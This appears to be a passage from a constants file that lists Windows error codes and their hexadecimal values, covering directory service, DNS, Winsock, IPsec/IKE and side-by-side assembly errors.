ERROR_DS_HIGH_ADLDS_FFL = 0x000021c1
ERROR_DS_HIGH_DSA_VERSION = 0x000021c2
ERROR_DS_LOW_ADLDS_FFL = 0x000021c3
ERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION = 0x000021c4
ERROR_DS_UNDELETE_SAM_VALIDATION_FAILED = 0x000021c5
ERROR_INCORRECT_ACCOUNT_TYPE = 0x000021c6
DNS_ERROR_RCODE_FORMAT_ERROR = 0x00002329
DNS_ERROR_RCODE_SERVER_FAILURE = 0x0000232a
DNS_ERROR_RCODE_NAME_ERROR = 0x0000232b
DNS_ERROR_RCODE_NOT_IMPLEMENTED = 0x0000232c
DNS_ERROR_RCODE_REFUSED = 0x0000232d
DNS_ERROR_RCODE_YXDOMAIN = 0x0000232e
DNS_ERROR_RCODE_YXRRSET = 0x0000232f
DNS_ERROR_RCODE_NXRRSET = 0x00002330
DNS_ERROR_RCODE_NOTAUTH = 0x00002331
DNS_ERROR_RCODE_NOTZONE = 0x00002332
DNS_ERROR_RCODE_BADSIG = 0x00002338
DNS_ERROR_RCODE_BADKEY = 0x00002339
DNS_ERROR_RCODE_BADTIME = 0x0000233a
DNS_ERROR_KEYMASTER_REQUIRED = 0x0000238d
DNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE = 0x0000238e
DNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1 = 0x0000238f
DNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS = 0x00002390
DNS_ERROR_UNSUPPORTED_ALGORITHM = 0x00002391
DNS_ERROR_INVALID_KEY_SIZE = 0x00002392
DNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE = 0x00002393
DNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION = 0x00002394
DNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR = 0x00002395
DNS_ERROR_UNEXPECTED_CNG_ERROR = 0x00002396
DNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION = 0x00002397
DNS_ERROR_KSP_NOT_ACCESSIBLE = 0x00002398
DNS_ERROR_TOO_MANY_SKDS = 0x00002399
DNS_ERROR_INVALID_ROLLOVER_PERIOD = 0x0000239a
DNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET = 0x0000239b
DNS_ERROR_ROLLOVER_IN_PROGRESS = 0x0000239c
DNS_ERROR_STANDBY_KEY_NOT_PRESENT = 0x0000239d
DNS_ERROR_NOT_ALLOWED_ON_ZSK = 0x0000239e
DNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD = 0x0000239f
DNS_ERROR_ROLLOVER_ALREADY_QUEUED = 0x000023a0
DNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE = 0x000023a1
DNS_ERROR_BAD_KEYMASTER = 0x000023a2
DNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD = 0x000023a3
DNS_ERROR_INVALID_NSEC3_ITERATION_COUNT = 0x000023a4
DNS_ERROR_DNSSEC_IS_DISABLED = 0x000023a5
DNS_ERROR_INVALID_XML = 0x000023a6
DNS_ERROR_NO_VALID_TRUST_ANCHORS = 0x000023a7
DNS_ERROR_ROLLOVER_NOT_POKEABLE = 0x000023a8
DNS_ERROR_NSEC3_NAME_COLLISION = 0x000023a9
DNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1 = 0x000023aa
DNS_INFO_NO_RECORDS = 0x0000251d
DNS_ERROR_BAD_PACKET = 0x0000251e
DNS_ERROR_NO_PACKET = 0x0000251f
DNS_ERROR_RCODE = 0x00002520
DNS_ERROR_UNSECURE_PACKET = 0x00002521
DNS_REQUEST_PENDING = 0x00002522
DNS_ERROR_INVALID_TYPE = 0x0000254f
DNS_ERROR_INVALID_IP_ADDRESS = 0x00002550
DNS_ERROR_INVALID_PROPERTY = 0x00002551
DNS_ERROR_TRY_AGAIN_LATER = 0x00002552
DNS_ERROR_NOT_UNIQUE = 0x00002553
DNS_ERROR_NON_RFC_NAME = 0x00002554
DNS_STATUS_FQDN = 0x00002555
DNS_STATUS_DOTTED_NAME = 0x00002556
DNS_STATUS_SINGLE_PART_NAME = 0x00002557
DNS_ERROR_INVALID_NAME_CHAR = 0x00002558
DNS_ERROR_NUMERIC_NAME = 0x00002559
DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER = 0x0000255a
DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION = 0x0000255b
DNS_ERROR_CANNOT_FIND_ROOT_HINTS = 0x0000255c
DNS_ERROR_INCONSISTENT_ROOT_HINTS = 0x0000255d
DNS_ERROR_DWORD_VALUE_TOO_SMALL = 0x0000255e
DNS_ERROR_DWORD_VALUE_TOO_LARGE = 0x0000255f
DNS_ERROR_BACKGROUND_LOADING = 0x00002560
DNS_ERROR_NOT_ALLOWED_ON_RODC = 0x00002561
DNS_ERROR_NOT_ALLOWED_UNDER_DNAME = 0x00002562
DNS_ERROR_DELEGATION_REQUIRED = 0x00002563
DNS_ERROR_INVALID_POLICY_TABLE = 0x00002564
DNS_ERROR_ZONE_DOES_NOT_EXIST = 0x00002581
DNS_ERROR_NO_ZONE_INFO = 0x00002582
DNS_ERROR_INVALID_ZONE_OPERATION = 0x00002583
DNS_ERROR_ZONE_CONFIGURATION_ERROR = 0x00002584
DNS_ERROR_ZONE_HAS_NO_SOA_RECORD = 0x00002585
DNS_ERROR_ZONE_HAS_NO_NS_RECORDS = 0x00002586
DNS_ERROR_ZONE_LOCKED = 0x00002587
DNS_ERROR_ZONE_CREATION_FAILED = 0x00002588
DNS_ERROR_ZONE_ALREADY_EXISTS = 0x00002589
DNS_ERROR_AUTOZONE_ALREADY_EXISTS = 0x0000258a
DNS_ERROR_INVALID_ZONE_TYPE = 0x0000258b
DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP = 0x0000258c
DNS_ERROR_ZONE_NOT_SECONDARY = 0x0000258d
DNS_ERROR_NEED_SECONDARY_ADDRESSES = 0x0000258e
DNS_ERROR_WINS_INIT_FAILED = 0x0000258f
DNS_ERROR_NEED_WINS_SERVERS = 0x00002590
DNS_ERROR_NBSTAT_INIT_FAILED = 0x00002591
DNS_ERROR_SOA_DELETE_INVALID = 0x00002592
DNS_ERROR_FORWARDER_ALREADY_EXISTS = 0x00002593
DNS_ERROR_ZONE_REQUIRES_MASTER_IP = 0x00002594
DNS_ERROR_ZONE_IS_SHUTDOWN = 0x00002595
DNS_ERROR_ZONE_LOCKED_FOR_SIGNING = 0x00002596
DNS_ERROR_PRIMARY_REQUIRES_DATAFILE = 0x000025b3
DNS_ERROR_INVALID_DATAFILE_NAME = 0x000025b4
DNS_ERROR_DATAFILE_OPEN_FAILURE = 0x000025b5
DNS_ERROR_FILE_WRITEBACK_FAILED = 0x000025b6
DNS_ERROR_DATAFILE_PARSING = 0x000025b7
DNS_ERROR_RECORD_DOES_NOT_EXIST = 0x000025e5
DNS_ERROR_RECORD_FORMAT = 0x000025e6
DNS_ERROR_NODE_CREATION_FAILED = 0x000025e7
DNS_ERROR_UNKNOWN_RECORD_TYPE = 0x000025e8
DNS_ERROR_RECORD_TIMED_OUT = 0x000025e9
DNS_ERROR_NAME_NOT_IN_ZONE = 0x000025ea
DNS_ERROR_CNAME_LOOP = 0x000025eb
DNS_ERROR_NODE_IS_CNAME = 0x000025ec
DNS_ERROR_CNAME_COLLISION = 0x000025ed
DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT = 0x000025ee
DNS_ERROR_RECORD_ALREADY_EXISTS = 0x000025ef
DNS_ERROR_SECONDARY_DATA = 0x000025f0
DNS_ERROR_NO_CREATE_CACHE_DATA = 0x000025f1
DNS_ERROR_NAME_DOES_NOT_EXIST = 0x000025f2
DNS_WARNING_PTR_CREATE_FAILED = 0x000025f3
DNS_WARNING_DOMAIN_UNDELETED = 0x000025f4
DNS_ERROR_DS_UNAVAILABLE = 0x000025f5
DNS_ERROR_DS_ZONE_ALREADY_EXISTS = 0x000025f6
DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE = 0x000025f7
DNS_ERROR_NODE_IS_DNAME = 0x000025f8
DNS_ERROR_DNAME_COLLISION = 0x000025f9
DNS_ERROR_ALIAS_LOOP = 0x000025fa
DNS_INFO_AXFR_COMPLETE = 0x00002617
DNS_ERROR_AXFR = 0x00002618
DNS_INFO_ADDED_LOCAL_WINS = 0x00002619
DNS_STATUS_CONTINUE_NEEDED = 0x00002649
DNS_ERROR_NO_TCPIP = 0x0000267b
DNS_ERROR_NO_DNS_SERVERS = 0x0000267c
DNS_ERROR_DP_DOES_NOT_EXIST = 0x000026ad
DNS_ERROR_DP_ALREADY_EXISTS = 0x000026ae
DNS_ERROR_DP_NOT_ENLISTED = 0x000026af
DNS_ERROR_DP_ALREADY_ENLISTED = 0x000026b0
DNS_ERROR_DP_NOT_AVAILABLE = 0x000026b1
DNS_ERROR_DP_FSMO_ERROR = 0x000026b2
WSAEINTR = 0x00002714
WSAEBADF = 0x00002719
WSAEACCES = 0x0000271d
WSAEFAULT = 0x0000271e
WSAEINVAL = 0x00002726
WSAEMFILE = 0x00002728
WSAEWOULDBLOCK = 0x00002733
WSAEINPROGRESS = 0x00002734
WSAEALREADY = 0x00002735
WSAENOTSOCK = 0x00002736
WSAEDESTADDRREQ = 0x00002737
WSAEMSGSIZE = 0x00002738
WSAEPROTOTYPE = 0x00002739
WSAENOPROTOOPT = 0x0000273a
WSAEPROTONOSUPPORT = 0x0000273b
WSAESOCKTNOSUPPORT = 0x0000273c
WSAEOPNOTSUPP = 0x0000273d
WSAEPFNOSUPPORT = 0x0000273e
WSAEAFNOSUPPORT = 0x0000273f
WSAEADDRINUSE = 0x00002740
WSAEADDRNOTAVAIL = 0x00002741
WSAENETDOWN = 0x00002742
WSAENETUNREACH = 0x00002743
WSAENETRESET = 0x00002744
WSAECONNABORTED = 0x00002745
WSAECONNRESET = 0x00002746
WSAENOBUFS = 0x00002747
WSAEISCONN = 0x00002748
WSAENOTCONN = 0x00002749
WSAESHUTDOWN = 0x0000274a
WSAETOOMANYREFS = 0x0000274b
WSAETIMEDOUT = 0x0000274c
WSAECONNREFUSED = 0x0000274d
WSAELOOP = 0x0000274e
WSAENAMETOOLONG = 0x0000274f
WSAEHOSTDOWN = 0x00002750
WSAEHOSTUNREACH = 0x00002751
WSAENOTEMPTY = 0x00002752
WSAEPROCLIM = 0x00002753
WSAEUSERS = 0x00002754
WSAEDQUOT = 0x00002755
WSAESTALE = 0x00002756
WSAEREMOTE = 0x00002757
WSASYSNOTREADY = 0x0000276b
WSAVERNOTSUPPORTED = 0x0000276c
WSANOTINITIALISED = 0x0000276d
WSAEDISCON = 0x00002775
WSAENOMORE = 0x00002776
WSAECANCELLED = 0x00002777
WSAEINVALIDPROCTABLE = 0x00002778
WSAEINVALIDPROVIDER = 0x00002779
WSAEPROVIDERFAILEDINIT = 0x0000277a
WSASYSCALLFAILURE = 0x0000277b
WSASERVICE_NOT_FOUND = 0x0000277c
WSATYPE_NOT_FOUND = 0x0000277d
WSA_E_NO_MORE = 0x0000277e
WSA_E_CANCELLED = 0x0000277f
WSAEREFUSED = 0x00002780
WSAHOST_NOT_FOUND = 0x00002af9
WSATRY_AGAIN = 0x00002afa
WSANO_RECOVERY = 0x00002afb
WSANO_DATA = 0x00002afc
WSA_QOS_RECEIVERS = 0x00002afd
WSA_QOS_SENDERS = 0x00002afe
WSA_QOS_NO_SENDERS = 0x00002aff
WSA_QOS_NO_RECEIVERS = 0x00002b00
WSA_QOS_REQUEST_CONFIRMED = 0x00002b01
WSA_QOS_ADMISSION_FAILURE = 0x00002b02
WSA_QOS_POLICY_FAILURE = 0x00002b03
WSA_QOS_BAD_STYLE = 0x00002b04
WSA_QOS_BAD_OBJECT = 0x00002b05
WSA_QOS_TRAFFIC_CTRL_ERROR = 0x00002b06
WSA_QOS_GENERIC_ERROR = 0x00002b07
WSA_QOS_ESERVICETYPE = 0x00002b08
WSA_QOS_EFLOWSPEC = 0x00002b09
WSA_QOS_EPROVSPECBUF = 0x00002b0a
WSA_QOS_EFILTERSTYLE = 0x00002b0b
WSA_QOS_EFILTERTYPE = 0x00002b0c
WSA_QOS_EFILTERCOUNT = 0x00002b0d
WSA_QOS_EOBJLENGTH = 0x00002b0e
WSA_QOS_EFLOWCOUNT = 0x00002b0f
WSA_QOS_EUNKOWNPSOBJ = 0x00002b10
WSA_QOS_EPOLICYOBJ = 0x00002b11
WSA_QOS_EFLOWDESC = 0x00002b12
WSA_QOS_EPSFLOWSPEC = 0x00002b13
WSA_QOS_EPSFILTERSPEC = 0x00002b14
WSA_QOS_ESDMODEOBJ = 0x00002b15
WSA_QOS_ESHAPERATEOBJ = 0x00002b16
WSA_QOS_RESERVED_PETYPE = 0x00002b17
WSA_SECURE_HOST_NOT_FOUND = 0x00002b18
WSA_IPSEC_NAME_POLICY_ERROR = 0x00002b19
ERROR_IPSEC_QM_POLICY_EXISTS = 0x000032c8
ERROR_IPSEC_QM_POLICY_NOT_FOUND = 0x000032c9
ERROR_IPSEC_QM_POLICY_IN_USE = 0x000032ca
ERROR_IPSEC_MM_POLICY_EXISTS = 0x000032cb
ERROR_IPSEC_MM_POLICY_NOT_FOUND = 0x000032cc
ERROR_IPSEC_MM_POLICY_IN_USE = 0x000032cd
ERROR_IPSEC_MM_FILTER_EXISTS = 0x000032ce
ERROR_IPSEC_MM_FILTER_NOT_FOUND = 0x000032cf
ERROR_IPSEC_TRANSPORT_FILTER_EXISTS = 0x000032d0
ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND = 0x000032d1
ERROR_IPSEC_MM_AUTH_EXISTS = 0x000032d2
ERROR_IPSEC_MM_AUTH_NOT_FOUND = 0x000032d3
ERROR_IPSEC_MM_AUTH_IN_USE = 0x000032d4
ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND = 0x000032d5
ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND = 0x000032d6
ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND = 0x000032d7
ERROR_IPSEC_TUNNEL_FILTER_EXISTS = 0x000032d8
ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND = 0x000032d9
ERROR_IPSEC_MM_FILTER_PENDING_DELETION = 0x000032da
ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION = 0x000032db
ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION = 0x000032dc
ERROR_IPSEC_MM_POLICY_PENDING_DELETION = 0x000032dd
ERROR_IPSEC_MM_AUTH_PENDING_DELETION = 0x000032de
ERROR_IPSEC_QM_POLICY_PENDING_DELETION = 0x000032df
WARNING_IPSEC_MM_POLICY_PRUNED = 0x000032e0
WARNING_IPSEC_QM_POLICY_PRUNED = 0x000032e1
ERROR_IPSEC_IKE_NEG_STATUS_BEGIN = 0x000035e8
ERROR_IPSEC_IKE_AUTH_FAIL = 0x000035e9
ERROR_IPSEC_IKE_ATTRIB_FAIL = 0x000035ea
ERROR_IPSEC_IKE_NEGOTIATION_PENDING = 0x000035eb
ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR = 0x000035ec
ERROR_IPSEC_IKE_TIMED_OUT = 0x000035ed
ERROR_IPSEC_IKE_NO_CERT = 0x000035ee
ERROR_IPSEC_IKE_SA_DELETED = 0x000035ef
ERROR_IPSEC_IKE_SA_REAPED = 0x000035f0
ERROR_IPSEC_IKE_MM_ACQUIRE_DROP = 0x000035f1
ERROR_IPSEC_IKE_QM_ACQUIRE_DROP = 0x000035f2
ERROR_IPSEC_IKE_QUEUE_DROP_MM = 0x000035f3
ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM = 0x000035f4
ERROR_IPSEC_IKE_DROP_NO_RESPONSE = 0x000035f5
ERROR_IPSEC_IKE_MM_DELAY_DROP = 0x000035f6
ERROR_IPSEC_IKE_QM_DELAY_DROP = 0x000035f7
ERROR_IPSEC_IKE_ERROR = 0x000035f8
ERROR_IPSEC_IKE_CRL_FAILED = 0x000035f9
ERROR_IPSEC_IKE_INVALID_KEY_USAGE = 0x000035fa
ERROR_IPSEC_IKE_INVALID_CERT_TYPE = 0x000035fb
ERROR_IPSEC_IKE_NO_PRIVATE_KEY = 0x000035fc
ERROR_IPSEC_IKE_SIMULTANEOUS_REKEY = 0x000035fd
ERROR_IPSEC_IKE_DH_FAIL = 0x000035fe
ERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED = 0x000035ff
ERROR_IPSEC_IKE_INVALID_HEADER = 0x00003600
ERROR_IPSEC_IKE_NO_POLICY = 0x00003601
ERROR_IPSEC_IKE_INVALID_SIGNATURE = 0x00003602
ERROR_IPSEC_IKE_KERBEROS_ERROR = 0x00003603
ERROR_IPSEC_IKE_NO_PUBLIC_KEY = 0x00003604
ERROR_IPSEC_IKE_PROCESS_ERR = 0x00003605
ERROR_IPSEC_IKE_PROCESS_ERR_SA = 0x00003606
ERROR_IPSEC_IKE_PROCESS_ERR_PROP = 0x00003607
ERROR_IPSEC_IKE_PROCESS_ERR_TRANS = 0x00003608
ERROR_IPSEC_IKE_PROCESS_ERR_KE = 0x00003609
ERROR_IPSEC_IKE_PROCESS_ERR_ID = 0x0000360a
ERROR_IPSEC_IKE_PROCESS_ERR_CERT = 0x0000360b
ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ = 0x0000360c
ERROR_IPSEC_IKE_PROCESS_ERR_HASH = 0x0000360d
ERROR_IPSEC_IKE_PROCESS_ERR_SIG = 0x0000360e
ERROR_IPSEC_IKE_PROCESS_ERR_NONCE = 0x0000360f
ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY = 0x00003610
ERROR_IPSEC_IKE_PROCESS_ERR_DELETE = 0x00003611
ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR = 0x00003612
ERROR_IPSEC_IKE_INVALID_PAYLOAD = 0x00003613
ERROR_IPSEC_IKE_LOAD_SOFT_SA = 0x00003614
ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN = 0x00003615
ERROR_IPSEC_IKE_INVALID_COOKIE = 0x00003616
ERROR_IPSEC_IKE_NO_PEER_CERT = 0x00003617
ERROR_IPSEC_IKE_PEER_CRL_FAILED = 0x00003618
ERROR_IPSEC_IKE_POLICY_CHANGE = 0x00003619
ERROR_IPSEC_IKE_NO_MM_POLICY = 0x0000361a
ERROR_IPSEC_IKE_NOTCBPRIV = 0x0000361b
ERROR_IPSEC_IKE_SECLOADFAIL = 0x0000361c
ERROR_IPSEC_IKE_FAILSSPINIT = 0x0000361d
ERROR_IPSEC_IKE_FAILQUERYSSP = 0x0000361e
ERROR_IPSEC_IKE_SRVACQFAIL = 0x0000361f
ERROR_IPSEC_IKE_SRVQUERYCRED = 0x00003620
ERROR_IPSEC_IKE_GETSPIFAIL = 0x00003621
ERROR_IPSEC_IKE_INVALID_FILTER = 0x00003622
ERROR_IPSEC_IKE_OUT_OF_MEMORY = 0x00003623
ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED = 0x00003624
ERROR_IPSEC_IKE_INVALID_POLICY = 0x00003625
ERROR_IPSEC_IKE_UNKNOWN_DOI = 0x00003626
ERROR_IPSEC_IKE_INVALID_SITUATION = 0x00003627
ERROR_IPSEC_IKE_DH_FAILURE = 0x00003628
ERROR_IPSEC_IKE_INVALID_GROUP = 0x00003629
ERROR_IPSEC_IKE_ENCRYPT = 0x0000362a
ERROR_IPSEC_IKE_DECRYPT = 0x0000362b
ERROR_IPSEC_IKE_POLICY_MATCH = 0x0000362c
ERROR_IPSEC_IKE_UNSUPPORTED_ID = 0x0000362d
ERROR_IPSEC_IKE_INVALID_HASH = 0x0000362e
ERROR_IPSEC_IKE_INVALID_HASH_ALG = 0x0000362f
ERROR_IPSEC_IKE_INVALID_HASH_SIZE = 0x00003630
ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG = 0x00003631
ERROR_IPSEC_IKE_INVALID_AUTH_ALG = 0x00003632
ERROR_IPSEC_IKE_INVALID_SIG = 0x00003633
ERROR_IPSEC_IKE_LOAD_FAILED = 0x00003634
ERROR_IPSEC_IKE_RPC_DELETE = 0x00003635
ERROR_IPSEC_IKE_BENIGN_REINIT = 0x00003636
ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY = 0x00003637
ERROR_IPSEC_IKE_INVALID_MAJOR_VERSION = 0x00003638
ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN = 0x00003639
ERROR_IPSEC_IKE_MM_LIMIT = 0x0000363a
ERROR_IPSEC_IKE_NEGOTIATION_DISABLED = 0x0000363b
ERROR_IPSEC_IKE_QM_LIMIT = 0x0000363c
ERROR_IPSEC_IKE_MM_EXPIRED = 0x0000363d
ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID = 0x0000363e
ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH = 0x0000363f
ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID = 0x00003640
ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD = 0x00003641
ERROR_IPSEC_IKE_DOS_COOKIE_SENT = 0x00003642
ERROR_IPSEC_IKE_SHUTTING_DOWN = 0x00003643
ERROR_IPSEC_IKE_CGA_AUTH_FAILED = 0x00003644
ERROR_IPSEC_IKE_PROCESS_ERR_NATOA = 0x00003645
ERROR_IPSEC_IKE_INVALID_MM_FOR_QM = 0x00003646
ERROR_IPSEC_IKE_QM_EXPIRED = 0x00003647
ERROR_IPSEC_IKE_TOO_MANY_FILTERS = 0x00003648
ERROR_IPSEC_IKE_NEG_STATUS_END = 0x00003649
ERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL = 0x0000364a
ERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE = 0x0000364b
ERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING = 0x0000364c
ERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING = 0x0000364d
ERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS = 0x0000364e
ERROR_IPSEC_IKE_RATELIMIT_DROP = 0x0000364f
ERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE = 0x00003650
ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE = 0x00003651
ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE = 0x00003652
ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY = 0x00003653
ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE = 0x00003654
ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END = 0x00003655
ERROR_IPSEC_BAD_SPI = 0x00003656
ERROR_IPSEC_SA_LIFETIME_EXPIRED = 0x00003657
ERROR_IPSEC_WRONG_SA = 0x00003658
ERROR_IPSEC_REPLAY_CHECK_FAILED = 0x00003659
ERROR_IPSEC_INVALID_PACKET = 0x0000365a
ERROR_IPSEC_INTEGRITY_CHECK_FAILED = 0x0000365b
ERROR_IPSEC_CLEAR_TEXT_DROP = 0x0000365c
ERROR_IPSEC_AUTH_FIREWALL_DROP = 0x0000365d
ERROR_IPSEC_THROTTLE_DROP = 0x0000365e
ERROR_IPSEC_DOSP_BLOCK = 0x00003665
ERROR_IPSEC_DOSP_RECEIVED_MULTICAST = 0x00003666
ERROR_IPSEC_DOSP_INVALID_PACKET = 0x00003667
ERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED = 0x00003668
ERROR_IPSEC_DOSP_MAX_ENTRIES = 0x00003669
ERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED = 0x0000366a
ERROR_IPSEC_DOSP_NOT_INSTALLED = 0x0000366b
ERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES = 0x0000366c
ERROR_SXS_SECTION_NOT_FOUND = 0x000036b0
ERROR_SXS_CANT_GEN_ACTCTX = 0x000036b1
ERROR_SXS_INVALID_ACTCTXDATA_FORMAT = 0x000036b2
ERROR_SXS_ASSEMBLY_NOT_FOUND = 0x000036b3
ERROR_SXS_MANIFEST_FORMAT_ERROR = 0x000036b4
ERROR_SXS_MANIFEST_PARSE_ERROR = 0x000036b5
ERROR_SXS_ACTIVATION_CONTEXT_DISABLED = 0x000036b6
ERROR_SXS_KEY_NOT_FOUND = 0x000036b7
ERROR_SXS_VERSION_CONFLICT = 0x000036b8
ERROR_SXS_WRONG_SECTION_TYPE = 0x000036b9
ERROR_SXS_THREAD_QUERIES_DISABLED = 0x000036ba
ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET = 0x000036bb
ERROR_SXS_UNKNOWN_ENCODING_GROUP = 0x000036bc
ERROR_SXS_UNKNOWN_ENCODING = 0x000036bd
ERROR_SXS_INVALID_XML_NAMESPACE_URI = 0x000036be
ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED = 0x000036bf
ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED = 0x000036c0
ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE = 0x000036c1
ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE = 0x000036c2
ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE = 0x000036c3
ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT = 0x000036c4
ERROR_SXS_DUPLICATE_DLL_NAME = 0x000036c5
ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME = 0x000036c6
ERROR_SXS_DUPLICATE_CLSID = 0x000036c7
ERROR_SXS_DUPLICATE_IID = 0x000036c8
ERROR_SXS_DUPLICATE_TLBID = 0x000036c9
ERROR_SXS_DUPLICATE_PROGID = 0x000036ca
ERROR_SXS_DUPLICATE_ASSEMBLY_NAME = 0x000036cb
ERROR_SXS_FILE_HASH_MISMATCH = 0x000036cc
ERROR_SXS_POLICY_PARSE_ERROR = 0x000036cd
ERROR_SXS_XML_E_MISSINGQUOTE = 0x000036ce
ERROR_SXS_XML_E_COMMENTSYNTAX = 0x000036cf
ERROR_SXS_XML_E_BADSTARTNAMECHAR = 0x000036d0
ERROR_SXS_XML_E_BADNAMECHAR = 0x000036d1
ERROR_SXS_XML_E_BADCHARINSTRING = 0x000036d2
ERROR_SXS_XML_E_XMLDECLSYNTAX = 0x000036d3
ERROR_SXS_XML_E_BADCHARDATA = 0x000036d4
ERROR_SXS_XML_E_MISSINGWHITESPACE = 0x000036d5
ERROR_SXS_XML_E_EXPECTINGTAGEND = 0x000036d6
ERROR_SXS_XML_E_MISSINGSEMICOLON = 0x000036d7
ERROR_SXS_XML_E_UNBALANCEDPAREN = 0x000036d8
ERROR_SXS_XML_E_INTERNALERROR = 0x000036d9
ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE = 0x000036da
ERROR_SXS_XML_E_INCOMPLETE_ENCODING = 0x000036db
ERROR_SXS_XML_E_MISSING_PAREN = 0x000036dc
ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE = 0x000036dd
ERROR_SXS_XML_E_MULTIPLE_COLONS = 0x000036de
ERROR_SXS_XML_E_INVALID_DECIMAL = 0x000036df
ERROR_SXS_XML_E_INVALID_HEXIDECIMAL = 0x000036e0
ERROR_SXS_XML_E_INVALID_UNICODE = 0x000036e1
ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK = 0x000036e2
ERROR_SXS_XML_E_UNEXPECTEDENDTAG = 0x000036e3
ERROR_SXS_XML_E_UNCLOSEDTAG = 0x000036e4
ERROR_SXS_XML_E_DUPLICATEATTRIBUTE = 0x000036e5
ERROR_SXS_XML_E_MULTIPLEROOTS = 0x000036e6
ERROR_SXS_XML_E_INVALIDATROOTLEVEL = 0x000036e7
ERROR_SXS_XML_E_BADXMLDECL = 0x000036e8
ERROR_SXS_XML_E_MISSINGROOT = 0x000036e9
ERROR_SXS_XML_E_UNEXPECTEDEOF = 0x000036ea
ERROR_SXS_XML_E_BADPEREFINSUBSET = 0x000036eb
ERROR_SXS_XML_E_UNCLOSEDSTARTTAG = 0x000036ec
ERROR_SXS_XML_E_UNCLOSEDENDTAG = 0x000036ed
ERROR_SXS_XML_E_UNCLOSEDSTRING = 0x000036ee
ERROR_SXS_XML_E_UNCLOSEDCOMMENT = 0x000036ef
ERROR_SXS_XML_E_UNCLOSEDDECL = 0x000036f0
ERROR_SXS_XML_E_UNCLOSEDCDATA = 0x000036f1
ERROR_SXS_XML_E_RESERVEDNAMESPACE = 0x000036f2
ERROR_SXS_XML_E_INVALIDENCODING = 0x000036f3
ERROR_SXS_XML_E_INVALIDSWITCH = 0x000036f4
ERROR_SXS_XML_E_BADXMLCASE = 0x000036f5
ERROR_SXS_XML_E_INVALID_STANDALONE = 0x000036f6
ERROR_SXS_XML_E_UNEXPECTED_STANDALONE = 0x000036f7
ERROR_SXS_XML_E_INVALID_VERSION = 0x000036f8
ERROR_SXS_XML_E_MISSINGEQUALS = 0x000036f9
ERROR_SXS_PROTECTION_RECOVERY_FAILED = 0x000036fa
ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT = 0x000036fb
ERROR_SXS_PROTECTION_CATALOG_NOT_VALID = 0x000036fc
ERROR_SXS_UNTRANSLATABLE_HRESULT = 0x000036fd
ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING = 0x000036fe
ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE = 0x000036ff
ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME = 0x00003700
